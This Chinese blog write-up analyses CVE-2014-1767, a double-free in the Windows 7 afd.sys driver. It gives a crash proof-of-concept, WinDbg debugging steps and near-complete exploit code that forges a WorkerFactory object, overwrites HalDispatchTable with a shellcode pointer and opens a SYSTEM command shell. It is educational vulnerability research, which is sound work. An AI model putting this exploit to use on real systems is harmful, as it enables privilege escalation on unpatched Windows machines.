CVE-2014-1767 Windows AFD.sys内核双重释放漏洞

一、基本分析

1.双击调试得到crash信息

省略配windbg+vmware+win7双机调试的过程,其实也不是想象中那么难。
管理员权限启动设置好命令行参数的windbg快捷方式,windbg会自动开始连接被调试机,并在int 3断下,此时被调试机会卡住。

输入g继续运行,并在虚拟机中点击运行poc.exe

#include<windows.h>
#include<stdio.h>
#pragma comment(lib,"WS2_32.lib")

int main()
{
    DWORD targetSize=0x310;
    DWORD virtualAddress=0x13371337;
    DWORD mdlSize=(0x4000*(targetSize-0x30)/8)-0xFFF0-(virtualAddress& 0xFFF);
    static DWORD inbuf1[100];
    memset(inbuf1,0,sizeof(inbuf1));
    inbuf1[6]=virtualAddress;
    inbuf1[7]=mdlSize;
    inbuf1[10]=1;
    static DWORD inbuf2[100];
    memset(inbuf2,0,sizeof(inbuf2));
    inbuf2[0]=1;
    inbuf2[1]=0x0AAAAAAA;
    WSADATA WSAData;
    SOCKET s;
    sockaddr_in sa;
    int ierr;
    WSAStartup(0x2,&WSAData);
    s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    memset(&sa,0,sizeof(sa));
    sa.sin_port=htons(135);
    sa.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
    sa.sin_family=AF_INET;
    ierr=connect(s,(const struct sockaddr *)&sa,sizeof(sa));
    static char outBuf[100];
    DWORD bytesRet;
    DeviceIoControl((HANDLE)s,0X1207F,(LPVOID)inbuf1,0x30,outBuf,0,&bytesRet,NULL);
    DeviceIoControl((HANDLE)s,0X120C3,(LPVOID)inbuf2,0x18,outBuf,0,&bytesRet,NULL);
    return 0;
}

等待windbg再次断下,使用命令!analyze -v获取dump文件的详细信息:

可以看到崩溃的原因是重复释放一块已经被释放的内存

其他的崩溃信息:

出问题的是afd.sys模块,漏洞的类型为double free,free 的对象是Mdl,并且发生崩溃时存在这样的调用关系:
afd!AfdTransmitPackets==> afd!AfdTliGetTpInfo==>afd!AfdReturnTpInfo==>nt!IoFreeMdl

除此之外还需要分析:afd!AfdTransmitFile==>afd!AfdTliGetTpInfo==>afd!AfdReturnTpInfo==>nt!IoFreeMdl这条调用链,虽然没有显示在crash的调用栈信息中,但这是poc中第一次调用DeviceIoControl时的free过程。

2. IO控制码0x1207F——第一次free

poc中程序调用两次DeviceIoControl,分别向IO控制码0x1207F0x120C3发送数据:

 DeviceIoControl((HANDLE)s,0X1207F,(LPVOID)inbuf1,0x30,outBuf,0,&bytesRet,NULL);
 DeviceIoControl((HANDLE)s,0X120C3,(LPVOID)inbuf2,0x18,outBuf,0,&bytesRet,NULL);

在windbg中对nt!NtDeviceIoControlFile设置条件断点,使其在处理IO控制码0x1207F时断下。IO控制码是NtDeviceIoControl第6个参数,即esp+18,因此条件断点命令为:
bp nt!NtDeviceIoControlFile ".if (poi(esp+18) = 0x1207F){}.else{gc;}"

1)afd!AfdTransmitFile

当IO控制码 IoControlCode=0x1207F 时,afd 驱动会调用 afd!AfdTransmitFile

afd!AfdTransmitFile()

根据之前的crash信息我们看到会执行AfdTliGetTpInfo(),要想执行到调用该函数,需要满足:
"v54 & 0xFFFFFFC8 ==0"
"v54 & 0x30 != 0x30"
"v54 & 0x30 != 0"

qmemcpy之后v45的内容:


可以看到此时的v45的内容正是我们调用DeviceIoControl时的参数inbuf1。而v54即inbuf1[10] 。
当inbuf1满足上述条件时,AfdTransmitFile 会调用AfdTliGetTpInfo ( 3 )

2)AfdTliGetTpInfo

结合对AfdTliGetTpInfo, AfdReturnTpInfo, AfdAllocateTpInfo, AfdInitializeTpInfo 的综合
分析,得到tpinfo数据结构的定义

AfdTliGetTpInfo调用ExAllocateFromNPagedLookasideList 从afd内部使用的lookaside list中申请一个tpinfo结构体


ExAllocateFromNPagedLookasideList

显然这时候lookaside list为空,将调用AfdAllocateTpInfo分配一片空间:

AfdAllocateTpInfo

其中AfdInitializeTpInfo完成对申请得的tpinfo作相关初始化。程序从AfdTliGetTpInfo返回后返回值是一个tpinfo结构体:

tpinfo

再之后程序会调用IoAllocateMdl申请一个mdl结构体,参数virtualaddress和length是在poc中定义的inbuf1[6]、inbuf1[7]

显然virtualaddress是我们随便写的一个值,接着执行MmProbeAndLockPages会触发异常跳转到AfdReturnTpInfo去执行

3)AfdReturnTpInfo

可以看到此时调用AfdReturnTpInfo的参数正是之前AfdTliGetTpInfo申请到的tpinfo的地址

free了mdl结构体之后没有清零指针,造成了一个悬挂指针,存放在 tpInfo 中的 Mdl 指针并没有清空,tpInfo 中 elemCount也维持原始值,未做改动,那么假设现在再对这个tpinfo调用一次 AfdReturnTpInfo ,则势必会造成 double free。

之后会将tpinfo放入lookaside:


2. IO控制码0x120C3——第二次free

第二次 DeviceIoControl,IoControlCode = 0x120C3, 将会调用AfdTransmitPackets
仍然先下一个条件断点:
bp nt!NtDeviceIoControlFile ".if (poi(esp+18) = 0x120C3){}.else{gc;}"
断下后继续执行到AfdTransmitPackets
poc中我们设定的inbuf2的内容:

inbuf2[0]=1;
inbuf2[1]=0x0AAAAAAA;

可以使程序执行到AfdTliGetTpInfo



并且调用AfdTliGetTpInfo的参数是我们设置的0x0AAAAAAA
进入AfdTliGetTpInfo执行,先从looaside表中取出一个tpinfo:

正是之前放入lookaside存在野指针的那个tpinfo

继续执行,显然参数0x0AAAAAAA>3会进入if执行


32位机器试图分配0xfffffff0大小的内存会失败,触发异常转去执行AfdReturnTpInfo

再次执行到IoFreeMdl会再次释放之前的那个mdl:

接下即crash系统崩溃。

二、漏洞利用

1. 思路

思路当然都是别人的(X 。。X)
外文pdf以及我参照的这篇 [原创]CVE-2014-1767_Afd.sys_double-free_漏洞分析与利用

1)调用 DeviceIoControl, IoControlCode = 0x1207F, 造成一次 MDL free
2)新建某个对象,使得这个对象恰好占据刚才被 free 掉的空间
3)调用 DeviceIoControl, IoControlCode =0x120c3,再次释放,释放掉
刚才新申请的对象
4)覆盖被释放掉的对象为可控数据(伪造对象)*
5)尝试调用能够操作此对象的函数,让函数通过操作我们刚刚覆盖的可控数据,实现一个内核内存写操作,这个写操作最理想的就是“任意地址写任意内容”,这样我们就可以覆写 HalDispatchTable 的某个单元为我们 ShellCode 的地址,这样就可以劫持一个内核函
数调用
6)用户层触发刚刚被 Hook 的 HalDispatchTable 函数,使得内核执行 shellcode,提权

耳目一新的思路,把一个double free愣是玩成了use after free,实质就是借助double free两次释放的机会分别使用uaf,完成对一个对象内容的修改来实现一个内存写操作,然后进行hook。

2. 选择合适的对象

A)这个对象的大小要等于第一次被释放的mdl内存的大小(uaf)
B) 这个对象应该有这样一个操作函数,这个函数能够操作我们的恶意数据,使得我们简介实现任意地址写任意内容

经过逆向,第一次释放的是一个MDL对象,且MDL对象的大小是由VritualAddress和length共同决定的(IoAllocateMdl函数),而virtualAddress和length是由用户控制的参数,因此A)的要求就不必担心了

pages = ((Length & 0xFFF) + (VirtualAddress & 0xF0xFFF)>>12 + (length>>12
freedSize = mdlSize = pages*sizeof(PVOID)+0x1c

接下来考虑B)的满足,外文pdf里面提到了WorkerFactory。

不行了不行了跟不住了这篇太长了


以及每次自己在外面只能吃到的炸过火炸干的炸混沌


3. WorkerFactory对象及方法

WorkerFactory对象存在一个函数NtSetInformationWorkerFactory,该函数位于
C:\windows\system32\ntoskrnl.exe中的sub_468875(idapython根据交叉引用和调用参数硬筛选出来的),不知道为为什么微软官方没有下到pdb。
(后来又下到了,可能是网络的问题???另外下下来之后名字是ntkrnlmp.pdb而非ntkrnl.pdb)

可以看到v12是由参数arg3决定的,而[object+0x10]处的地址也可以通过uaf修改,这样就可以实现一次任意地址写入。

    *(_DWORD *)(*(_DWORD *)(*(_DWORD *)Object + 0x10) + 0x1C) = v12;// v12=arg3

我们可以设置*arg3 = ShellCode , (object+0x10)+0x1C == HalDispatchTable 某个单元

4.如何修改WorkerFactory对象的数据

前面的思路里说到了在调用 DeviceIoControl, IoControlCode =0x120c3第二次释放之后,再利用uaf申请一块内存实现修改WorkerFactory对象。只有实现了这一步我们才能利用上面的 ((*object+0x10)+0x1C) == *arg3 实现任意地址写任意内容。

我们分析知道被释放的 MDL 属于 NonPagedPool,而用户空间的 VirtualAlloc 并没有能力为我们在 NonPagedPool 上分配空间从而让我们覆盖我们的数据!这就又要采取类似使用 NtSetInformationWorkerFactory 的方法,找那样一个 Nt*系列函数,它的内部操作能够为我们完成一次 ExAllocatePool 并且是 NonPagedPool,并且还有能复制我们的数据到它新申请的这个内存中去!说白了就是完成一次内核 Alloc 并且 memcpy 的操作!会有这么完美的函数等着我们嘛?会是哪个?还是借助那篇 pdf 的思路,对就是NtQueryEaFile !

其中EaListLength和EaList都是可控的参数:

NTSTATUS __stdcall NtQueryEaFile( HANDLE FileHandle, 
                                  PIO_STATUS_BLOCK IoStatusBlock, 
                                  PFILE_FULL_EA_INFORMATION Buffer, 
                                  ULONG BufferLength, 
                                  BOOLEAN ReturnSingleEntry, 
                                  PFILE_GET_EA_INFORMATION EaList, 
                                  ULONG EaListLength, 
                                  PULONG EaIndex, 
                                  BOOLEAN RestartScan)

还有一个坑,这里使用的是ExxAllocatePoolWithQuotaTag而不是ExAllocatePoolWithTag,二者的差别在于申请的内存字节数上,对ExxAllocatePoolWithQuotaTag其内部是调用的是

ExAllocatePoolWithTag(PoolType, length+4, tag)

因此使用 NtQueryEaFile 时候,字节数=EaLength=objSize-0x4 才可以正常利用堆缓冲机制使得申请的内存正好占据原本对象的空间。

以及NtQueryEaFile函数之后会把分配的内存释放掉,不过除了堆头部那些东西剩下的数据不会改变,不会影响到我们接下来的利用。

到这里真的对想出漏洞利用方法的人五体投地,也意识到自己的局限和漫长的道路。可以看到前面涉及到了很多冷僻的windows函数,类,以及对windows内核函数的逆向,真的是一个很长的积累的过程。

5.伪造WorkerFactory对象

之前使用uaf利用方法的前提是申请的内存大小要与WorkerFactory对象一致,那么该对象的大小是多少呢?
根据NtCreateWorkerFactory->ObpCreateObject->ObpAllocateObject->
ExAllocatePoolWithTag得到对象大小位0xA0

现在已经可以利用第二次调用DeviceIoControl,并利用uaf的方法修改WorkerFactory对象的内存数据。为了保证之后调用其方法函数时不会出奇怪的错误,需要考虑对象原本的数据结构
取巧的方法就是直接把正常对象的头部复制过来

6. EXP

1)首先第一次释放,通过WorkerFactory对象的大小0xa0反推inbuf1中的length参数,保证二者大小一致,满足uaf的条件
const DWORD FakeObjSize = 0xA0 ;
DWORD mdlSize = FakeObjSize ;
DWORD virtualAddress = 0x710DDDD ;
DWORD length = ((mdlSize - 0x1C)/4 - (virtualAddress%4 ? 1:0))*0x1000 ;

static BYTE inbuf1[0x30] ;
memset(inbuf1, 0, sizeof(inbuf1)) ;
*(ULONG*)(inbuf1+0x18)  = virtualAddress ;
*(ULONG*)(inbuf1+0x1C)  = length ;
*(ULONG*)(inbuf1+0x28)  = 1 ;
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, NULL, 0, NULL, NULL);
2)接着创建一个WorkerFactory对象:
HANDLE hCompletionPort = CreateIoCompletionPort( INVALID_HANDLE_VALUE, NULL, 1337, 4) ;
 
LONG ntStatus = fpCreateWorkerFactory( &hWorkerFactory, 
                                           GENERIC_ALL, 
                                           NULL,
                                           hCompletionPort,
                                           (HANDLE)-1,
                                           NULL,
                                           NULL,
                                           0,
                                           0,
                                           0 );
printf("hWorkerFactory: %p\n", hWorkerFactory) ;

此时WorkerFactory对象将会被分配到之前释放的位置。

3)然后第二次释放,
static BYTE inbuf2[0x10] ;
memset(inbuf2, 0, sizeof(inbuf2)) ;
*(ULONG*)inbuf2    = 1 ;
*(ULONG*)(inbuf2+4)= 0x0AAAAAAA ;
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x10, NULL, 0, NULL, NULL);
4)伪造对象并拷贝到原本WorkerFactory对象的位置

首先伪造对象:

IO_STATUS_BLOCK IoStatus ;
static BYTE FakeWorkerFactory[FakeObjSize] ;
memset(FakeWorkerFactory, 0, FakeObjSize) ;
    
static BYTE ObjHead [0x28] = { 0x00, 0x00, 0x00, 0x00, 0xa8, 0x00, 0x00, 0x00,    // 0xa8 == NonPagedPoolCharge
                               0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
   /* objHeader --> +0x10 */   0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,    // pointer count, handle count
                               0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x08, 0x00,    // 0x16 == typeIndex
                               0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 } ; // ObReferenceObjectByHandle FAIL
        /* objBody   --> +0x28 */
memcpy(FakeWorkerFactory, ObjHead, 0x28) ;

static BYTE  a[0x14] ;
PVOID *pFakeObj = (PVOID*)((ULONG_PTR)FakeWorkerFactory+0x28) ;

    // Init fakeObj to prepare data for DWORD WRITE on HalDispatchTable in NtSetInfomationWorkerFactory
*pFakeObj = a ;
*(PVOID*)(a+0x10) = (PVOID)(((ULONG_PTR)kHalDsipatchTable+sizeof(PVOID)) - 0x1C) ;

使用NtQueryEaFile再次申请一块内存:

fpQueryEaFile = (PNtQueryEaFile)GetProcAddress(hNtdll, "ZwQueryEaFile");
fpQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, NULL, 0, FALSE, FakeWorkerFactory, FakeObjSize-0x04, NULL, FALSE) ;
5)dword write to HalDispatchTable

通过HalDispathTable利用任意地址写漏洞来hook到shellcode的方法参见:
windows kernel exploitation基础教程 – P3nro5e

static PULONG ShotAddress = (PULONG)ShellCode ;
fpSetInformationWorkerFactory(hWorkerFactory, 8, &ShotAddress, sizeof(PVOID)) ;
    
// Trigger from user mode 触发!!
ULONG Interval ;
fpQueryIntervalProfile(2, &Interval) ;
    
// System Shell
ShellExecuteA(NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW);

END.

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,293评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,604评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,958评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,729评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,719评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,630评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,000评论 3 397
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,665评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,909评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,646评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,726评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,400评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,986评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,959评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,996评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,481评论 2 342

推荐阅读更多精彩内容